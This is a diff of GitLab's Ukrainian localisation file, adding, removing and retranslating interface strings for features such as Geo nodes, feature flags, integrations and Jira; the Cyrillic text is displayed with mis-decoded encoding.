@@ -8572,6 +8898,9 @@ msgstr "ÐžÐ±Ð¼ÐµÐ¶ÐµÐ½Ð½Ñ Ð¿Ð¾Ñ€Ñ–Ð²Ð½ÑÐ½Ð½Ñ Ð·Ð¼Ñ–Ñту"
msgid "Diff limits"
msgstr "Diff обмеженнÑ"
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr "Ð Ñ–Ð·Ð½Ð¸Ñ†Ñ Ð¼Ñ–Ð¶ датою початку та теперішньою"
@@ -8584,8 +8913,11 @@ msgstr "(базова)"
msgid "Diffs|No file name available"
msgstr "Ім'Ñ Ñ„Ð°Ð¹Ð»Ñƒ не доÑтупне"
-msgid "Diffs|Show unchanged lines"
-msgstr "Показувати незмінені Ñ€Ñдки"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
+msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
msgstr "Проблема при отриманні Ñ€Ñдків відмінноÑтей."
@@ -8689,9 +9021,6 @@ msgstr "Обговорити конкретну пропозицію або пи
msgid "Discuss a specific suggestion or question."
msgstr "Обговорити конкретну пропозицію чи питаннÑ."
-msgid "Discussion"
-msgstr "ОбговореннÑ"
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8708,8 +9037,8 @@ msgstr[1] "Відхилити %d виділені вразливоÑÑ‚Ñ– Ñк"
msgstr[2] "Відхилити %d виділених вразливоÑтей Ñк"
msgstr[3] "Відхилити %d виділених вразливоÑтей Ñк"
-msgid "Dismiss DevOps Score introduction"
-msgstr "Відхилити вÑтуп до оцінки DevOps"
+msgid "Dismiss DevOps Report introduction"
+msgstr ""
msgid "Dismiss Merge Request promotion"
msgstr "Видалити Ð¿Ð¾Ð²Ñ–Ð´Ð¾Ð¼Ð»ÐµÐ½Ð½Ñ Ð¿Ñ€Ð¾ запит на злиттÑ"
@@ -8960,9 +9289,6 @@ msgstr "Редагувати дошку"
msgid "Edit comment"
msgstr "Редагувати коментар"
-msgid "Edit dashboard"
-msgstr "Редагувати панель"
-
msgid "Edit description"
msgstr "Редагувати опиÑ"
@@ -9251,9 +9577,6 @@ msgstr "Увімкнути двофакторну автентифікацію"
msgid "Enable usage ping"
msgstr "Увімкнути збір даних про викориÑтаннÑ"
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr "Увімкніть збір даних про викориÑтаннÑ, щоб отримати загальне уÑÐ²Ð»ÐµÐ½Ð½Ñ Ð¿Ñ€Ð¾ те, Ñк ви викориÑтовуєте GitLab з точки зору функціоналу."
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr "Увімкнути/вимкнути Service Desk. %{link_start}ДізнатиÑÑ Ð±Ñ–Ð»ÑŒÑˆÐµ про Service Desk%{link_end}."
@@ -9422,6 +9745,9 @@ msgstr "Середовища дозволÑÑŽÑ‚ÑŒ відÑтежувати роÐ
msgid "Environments in %{name}"
msgstr "Середовища в %{name}"
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr "Додати проект до панелі керуваннÑ"
@@ -9446,8 +9772,8 @@ msgstr "Видалити"
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr "Панель ÐºÐµÑ€ÑƒÐ²Ð°Ð½Ð½Ñ Ñередовищами міÑтить інформацію про Ñтан кожного із проектних Ñередовищ включно зі Ñтаном конвеєрів та попереджень."
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
-msgstr "Ð¦Ñ Ð¿Ð°Ð½ÐµÐ»ÑŒ ÐºÐµÑ€ÑƒÐ²Ð°Ð½Ð½Ñ Ð²Ñ–Ð´Ð¾Ð±Ñ€Ð°Ð¶Ð°Ñ” до 7 проєктів Ñ– 3 Ñередовищ на проєкт. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
msgstr "Виникла помилка під Ñ‡Ð°Ñ ÑкаÑÑƒÐ²Ð°Ð½Ð½Ñ Ð°Ð²Ñ‚Ð¾Ð·ÑƒÐ¿Ð¸Ð½ÐºÐ¸, будь лаÑка, Ñпробуйте ще раз"
@@ -9561,7 +9887,7 @@ msgid "Environments|Open live environment"
msgstr "Відкрити працююче Ñередовище"
msgid "Environments|Pod name"
-msgstr ""
+msgstr "Ðазва pod'а"
msgid "Environments|Re-deploy"
msgstr "Повторно розгорнути"
@@ -9725,6 +10051,9 @@ msgstr "Це також видалить уÑÑ– підлеглі елементÐ
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr "Щоб запланувати %{epicDateType} дату вашого епіку на оÑнові етапів, призначте етап з %{epicDateType} датою Ð´Ð»Ñ Ð±ÑƒÐ´ÑŒ-Ñкої задачі в цьому епіку."
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -10052,7 +10381,7 @@ msgstr "Збір даних"
msgid "Exactly one of %{attributes} is required"
msgstr "Потрібен лише один з %{attributes}"
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -10073,6 +10402,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr "Без комітів злиттÑ. Обмежено 6000 комітів."
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr "ІÑнуючі учаÑники та групи"
@@ -10082,9 +10414,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr "ІÑнуючі проєкти зможуть викориÑтовувати політику Ð·Ð°ÐºÑ–Ð½Ñ‡ÐµÐ½Ð½Ñ Ñ‚ÐµÑ€Ð¼Ñ–Ð½Ñƒ дії. Ðе вмикайте цю функцію при викориÑтанні зовнішнього Container Registry, оÑкільки Ñ–Ñнує екÑплуатаційний ризик, Ñкщо в одному проєкті Ñ–Ñнує багато образів."
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr "ІÑнуючі методи входу можуть бути видалені."
@@ -10097,9 +10426,6 @@ msgstr "Розгорнути вÑе"
msgid "Expand approvers"
msgstr "Розгорнути ÑпиÑок затверджуючих оÑіб"
-msgid "Expand down"
-msgstr "Розгорнути вниз"
-
msgid "Expand dropdown"
msgstr "Розгорнути випадаючий ÑпиÑок"
@@ -10109,9 +10435,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr "Розгорніть бічну панель"
-msgid "Expand up"
-msgstr "Розгорнути вгору"
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -10124,9 +10447,6 @@ msgstr "Термін дії"
msgid "Expiration date"
msgstr "Термін дії"
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr "Термін дії закінчивÑÑ"
@@ -10173,7 +10493,7 @@ msgid "Explore public groups"
msgstr "ПереглÑнути публічні групи"
msgid "Export"
-msgstr ""
+msgstr "ЕкÑпорт"
msgid "Export as CSV"
msgstr "ЕкÑпортувати Ñк CSV"
@@ -10560,12 +10880,18 @@ msgstr "Перемикачі функцій дозволÑÑŽÑ‚ÑŒ налаштоÐ
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr "Розпочати роботу з перемикачами функцій"
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr "Ідентифікатор"
@@ -10650,6 +10976,9 @@ msgstr "Помилка при отриманні перемикачів функ
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr "Повторіть Ñпробу через деÑкий Ñ‡Ð°Ñ Ð°Ð±Ð¾ звернітьÑÑ Ð´Ð¾ вашої Ñлужби підтримки."
@@ -10659,9 +10988,6 @@ msgstr "Ідентифікатори кориÑтувачів"
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr "СпиÑок"
@@ -10701,6 +11027,9 @@ msgstr "Ðе вдалоÑÑ Ð¾Ñ‚Ñ€Ð¸Ð¼Ð°Ñ‚Ð¸ ліцензії. У Ð²Ð°Ñ Ð½ÐµÐ¼Ð
msgid "File"
msgstr "Файл"
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -10926,6 +11255,9 @@ msgstr "Колір шрифту"
msgid "Footer message"
msgstr "ÐŸÐ¾Ð²Ñ–Ð´Ð¾Ð¼Ð»ÐµÐ½Ð½Ñ Ð² футері"
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr "Ð”Ð»Ñ Ð²Ð½ÑƒÑ‚Ñ€Ñ–ÑˆÐ½Ñ–Ñ… проектів будь-Ñкий зареєÑтрований кориÑтувач може переглÑдати конвеєри та отримати доÑтуп до інформації про роботу (логи та артефакти)"
@@ -11097,30 +11429,15 @@ msgstr "Вузол не працює або зламаний."
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr "Вузол працює повільно, перевантажений або тільки що відновивÑÑ Ð¿Ñ–ÑÐ»Ñ Ð·Ð±Ð¾ÑŽ."
-msgid "GeoNodes|Attachments"
-msgstr "ВкладеннÑ"
-
-msgid "GeoNodes|Checksummed"
-msgstr "Із контрольною Ñумою"
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr "Репозиторії контейнерів"
-
msgid "GeoNodes|Data replication lag"
msgstr "Затримка реплікації даних"
-msgid "GeoNodes|Design repositories"
-msgstr "Репозиторії дизайнів"
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr "Ðе відповідає оÑновній конфігурації Ñховища"
-msgid "GeoNodes|Failed"
-msgstr "Ðевдало"
-
msgid "GeoNodes|Full"
msgstr "Повний"
@@ -11136,12 +11453,6 @@ msgstr "Стан працездатноÑÑ‚Ñ–"
msgid "GeoNodes|Internal URL"
msgstr "Внутрішній URL"
-msgid "GeoNodes|Job artifacts"
-msgstr "Ðртефакти завдань"
-
-msgid "GeoNodes|LFS objects"
-msgstr "LFS-об’єкти"
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr "ОÑтанній ідентифікатор події, оброблений курÑором"
@@ -11169,12 +11480,6 @@ msgstr "Вузол уÑпішно видалено."
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr "Ð¡Ñ‚Ð°Ñ‚ÑƒÑ Ð²ÑƒÐ·Ð»Ð° оновлено %{timeAgo}."
-msgid "GeoNodes|Not checksummed"
-msgstr "Без контрольної Ñуми"
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr "ÐŸÑ€Ð¸Ð·ÑƒÐ¿Ð¸Ð½ÐµÐ½Ð½Ñ Ñ€ÐµÐ¿Ð»Ñ–ÐºÐ°Ñ†Ñ–Ñ— зупинÑÑ” Ð¿Ñ€Ð¾Ñ†ÐµÑ Ñинхронізації. Ви впевнені?"
@@ -11196,15 +11501,6 @@ msgstr "Слоти реплікації"
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr "Репозиторії"
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr "Стан обчиÑÐ»ÐµÐ½Ð½Ñ ÐºÐ¾Ð½Ñ‚Ñ€Ð¾Ð»ÑŒÐ½Ð¾Ñ— Ñуми репозиторію"
-
-msgid "GeoNodes|Repository verification progress"
-msgstr "Стан перевірки репозиторію"
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -11232,27 +11528,12 @@ msgstr "ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ñинхронізації"
msgid "GeoNodes|Unused slots"
msgstr "ÐевикориÑтані Ñлоти"
-msgid "GeoNodes|Unverified"
-msgstr "Ðепідтверджені"
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr ""
msgid "GeoNodes|Used slots"
msgstr "ВикориÑтані Ñлоти"
-msgid "GeoNodes|Verified"
-msgstr "Підтверджені"
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr "Стан обчиÑÐ»ÐµÐ½Ð½Ñ ÐºÐ¾Ð½Ñ‚Ñ€Ð¾Ð»ÑŒÐ½Ð¾Ñ— Ñуми вікі"
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr "Стан перевірки вікі"
-
-msgid "GeoNodes|Wikis"
-msgstr "Вікі"
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr "З %{geo} ви можете вÑтановити будь-де Ñпеціальній реплікований інÑÑ‚Ð°Ð½Ñ Ð»Ð¸ÑˆÐµ Ð´Ð»Ñ Ñ‡Ð¸Ñ‚Ð°Ð½Ð½Ñ. Перед тим, Ñк додавати вузли, дотримайтеÑÑ %{instructions} в точному порÑдку."
@@ -11265,6 +11546,12 @@ msgstr "оÑновний вузол"
msgid "GeoNodes|secondary nodes"
msgstr "вторинні вузли"
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11328,6 +11615,12 @@ msgstr "Фільтр за ÑтатуÑом"
msgid "Geo|Geo Status"
msgstr "Geo ÑтатуÑ"
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr "Ð’ процеÑÑ–"
@@ -11460,10 +11753,10 @@ msgstr "Перевірка невдала: %{error}"
msgid "Geo|Waiting for scheduler"
msgstr "ÐžÑ‡Ñ–ÐºÑƒÐ²Ð°Ð½Ð½Ñ Ð¿Ð»Ð°Ð½ÑƒÐ²Ð°Ð»ÑŒÐ½Ð¸ÐºÐ°"
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11602,7 +11895,7 @@ msgid "GitLab will run a background job that will produce pseudonymized CSVs of
msgstr "GitLab запуÑтить фонове завданнÑ, Ñке буде оброблÑти пÑевдонімізовані CSV-файли бази даних GitLab, Ñкі будуть надіÑлані до вашого налаштованого Ñховища об'єктів."
msgid "GitLab.com"
-msgstr ""
+msgstr "GitLab.com"
msgid "GitLab.com import"
msgstr "Імпорт з GitLab.com"
@@ -11640,8 +11933,8 @@ msgstr "ЗаÑтаріло"
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr "Лише HTTPS (потрібні дійÑні Ñертифікати)"
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
-msgstr "GitLab Pages вимкнено Ð´Ð»Ñ Ñ†ÑŒÐ¾Ð³Ð¾ проєкту. Ви можете Ñ—Ñ… увімкнути перейшовши на Ñторінку проєкту %{strong_start}ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ > Загальні > ВидиміÑÑ‚ÑŒ%{strong_end}."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
+msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
msgstr "ПіÑÐ»Ñ Ð¿ÐµÑ€ÑˆÐ¾Ð³Ð¾ Ñ€Ð¾Ð·Ð³Ð¾Ñ€Ñ‚Ð°Ð½Ð½Ñ Ñайт може бути недоÑтупним до 30 хвилин."
@@ -11757,7 +12050,10 @@ msgstr "Ðа повний екран"
msgid "Go to %{link_to_google_takeout}."
msgstr "Перейти до %{link_to_google_takeout}."
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -12039,6 +12335,9 @@ msgstr "Групові хвилини Ð´Ð»Ñ ÐºÐ¾Ð½Ð²ÐµÑ”Ñ€Ñ–Ð² уÑпішно Ð
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr "Група вимагає окремий обліковий запиÑ"
@@ -12315,7 +12614,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr "Заборонити Ñпільний доÑтуп до проекту в рамках %{group} з іншими групами"
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12528,6 +12827,9 @@ msgstr "Інформацію про працездатніÑÑ‚ÑŒ можна от
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr "Токен доÑтупу"
@@ -12543,6 +12845,9 @@ msgstr "Ðездоровий"
msgid "Hello there"
msgstr "Привіт"
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr "Допомога"
@@ -12677,6 +12982,9 @@ msgstr "Ðа Ñкільки Ñегментів розподілити індек
msgid "How many users will be evaluating the trial?"
msgstr "Скільки кориÑтувачів будуть приймати учаÑÑ‚ÑŒ у випробувальному періоді?"
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr "Проте ви вже Ñ” учаÑником цього %{member_source}. Увійдіть, викориÑтовуючи інший обліковий запиÑ, щоб прийнÑти запрошеннÑ."
@@ -12833,6 +13141,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr "Якщо ваш HTTP-репозиторій не Ñ” загальнодоÑтупним, додайте Ñвої облікові дані."
@@ -12986,6 +13300,9 @@ msgstr "Ð†Ð¼Ð¿Ð¾Ñ€Ñ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð¿Ñ€Ð¾ÐµÐºÑ‚Ñƒ невдале"
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr "Запит ваших %{provider} репозиторіїв пройшов невдало"
@@ -13001,6 +13318,9 @@ msgstr "Репозиторій не може бути Ñтворено."
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr "Помилка Ð¾Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ Ñ–Ð¼Ð¿Ð¾Ñ€Ñ‚Ð¾Ð²Ð°Ð½Ð¸Ñ… проєктів із змінами в реальному чаÑÑ–"
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr "Покращити дошки задач"
@@ -13013,14 +13333,14 @@ msgstr "Покращити запити на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ñ‚Ð° підтримкÑ
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
-msgstr "Покращити пошук за допомогою розширеного глобального пошук в верÑÑ–Ñ— GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
+msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
-msgstr "Щоб увімкнути ÑтатиÑтику на рівні інÑтанÑа, звернітьÑÑ Ð´Ð¾ адмініÑтратора, щоб увімкнути %{usage_ping_link_start}дані про викориÑтаннÑ%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
+msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
msgstr "Збір точних даних про викориÑÑ‚Ð°Ð½Ð½Ñ Ð´Ð»Ñ Ð²Ñ–Ð´Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð½Ñ Ð²Ð°ÑˆÐ¾Ð³Ð¾ індекÑу може зайнÑти від 1 до 2 тижнів."
@@ -13028,21 +13348,24 @@ msgstr "Збір точних даних про викориÑÑ‚Ð°Ð½Ð½Ñ Ð´Ð»Ñ
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr "Ð’ процеÑÑ–"
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr "Ðа наÑтупному кроці ви зможете вибрати проекти, Ñкі хочете імпортувати."
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr "Ліміти, пов’Ñзані із УправліннÑм Інцидентами"
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -13055,6 +13378,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -13073,6 +13399,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -13148,6 +13477,9 @@ msgstr ""
msgid "Index all projects"
msgstr "ІндекÑувати вÑÑ– проекти"
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr "Вказує на те, чи може даний runner виконувати Ð·Ð°Ð²Ð´Ð°Ð½Ð½Ñ Ð±ÐµÐ· тегів"
@@ -13214,6 +13546,9 @@ msgstr "Ð’Ñтановіть програмний автентифікатор,
msgid "Install on clusters"
msgstr "Ð’Ñтановити на клаÑтери"
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr "Ð’Ñтановлено"
@@ -13230,8 +13565,8 @@ msgstr[3] "ІнÑтанÑів"
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
-msgstr "СтатиÑтика видимоÑÑ‚Ñ– інÑтанÑа"
+msgid "Instance Statistics"
+msgstr ""
msgid "Instance administrators group already exists"
msgstr "Група Ð´Ð»Ñ Ð°Ð´Ð¼Ñ–Ð½Ñ–Ñтраторів інÑтанÑу вже Ñ–Ñнує"
@@ -13257,6 +13592,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -13269,13 +13610,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -13305,8 +13643,8 @@ msgstr "Шаблон інтервалу"
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
-msgstr "ПредÑтавлÑємо вашу оцінку DevOps"
+msgid "Introducing Your DevOps Report"
+msgstr ""
msgid "Invalid Git ref"
msgstr "ÐедійÑне поÑÐ¸Ð»Ð°Ð½Ð½Ñ Git"
@@ -13317,9 +13655,15 @@ msgstr "Знайдено недійÑний файл конфігурації Ñ
msgid "Invalid Login or password"
msgstr "Ðеправильний логін або пароль"
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr "ÐедійÑна URL адреÑа"
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13416,6 +13760,39 @@ msgstr "ЗапроÑити учаÑника"
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13455,6 +13832,9 @@ msgstr "Задача"
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr "Задачу %{issue_reference} вже було додано до епіку %{epic_reference}."
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr "Дошки Ð¾Ð±Ð³Ð¾Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ Ð·Ð°Ð´Ð°Ñ‡"
@@ -13554,9 +13934,6 @@ msgstr "РеєÑÑ‚Ñ€ задач YouTrack"
msgid "Issues"
msgstr "Задачі"
-msgid "Issues Analytics"
-msgstr "Ðналітика Задач"
-
msgid "Issues Rate Limits"
msgstr "ÐžÐ±Ð¼ÐµÐ¶ÐµÐ½Ð½Ñ Ñ‡Ð°Ñтоти задач"
@@ -13687,7 +14064,7 @@ msgid "Jira project: %{importProject}"
msgstr "Проєкт Jira: %{importProject}"
msgid "Jira service not configured."
-msgstr ""
+msgstr "Ð¡ÐµÑ€Ð²Ñ–Ñ Jira не налаштовано."
msgid "Jira users have been imported from the configured Jira instance. They can be mapped by selecting a GitLab user from the dropdown in the \"GitLab username\" column. When the form appears, the dropdown defaults to the user conducting the import."
msgstr ""
@@ -13696,16 +14073,19 @@ msgid "Jira-GitLab user mapping template"
msgstr ""
msgid "JiraService| on branch %{branch_link}"
+msgstr " у гілці %{branch_link}"
+
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
msgstr ""
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
-msgstr ""
+msgstr "%{user_link} вказав цю задачу в %{entity_link} з %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgid "JiraService|Displaying Jira issues while leaving the GitLab issue functionality enabled might be confusing. Consider %{linkStart}disabling GitLab issues%{linkEnd} if they won’t otherwise be used."
-msgstr ""
+msgstr "Ð’Ñ–Ð´Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð½Ñ Ð·Ð°Ð´Ð°Ñ‡ Jira при увімкненій функціональноÑÑ‚Ñ– задач Gitlab може заплутати. Подумайте про %{linkStart}Ð²Ð¸Ð¼ÐºÐ½ÐµÐ½Ð½Ñ Ð·Ð°Ð´Ð°Ñ‡ GitLab%{linkEnd}, Ñкщо вони не викориÑтовуютьÑÑ."
msgid "JiraService|Enable Jira issues"
-msgstr ""
+msgstr "Увімкнути задачі Jira"
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr "Події Ð´Ð»Ñ %{noteable_model_name} вимкнені."
@@ -13714,13 +14094,13 @@ msgid "JiraService|If different from Web URL"
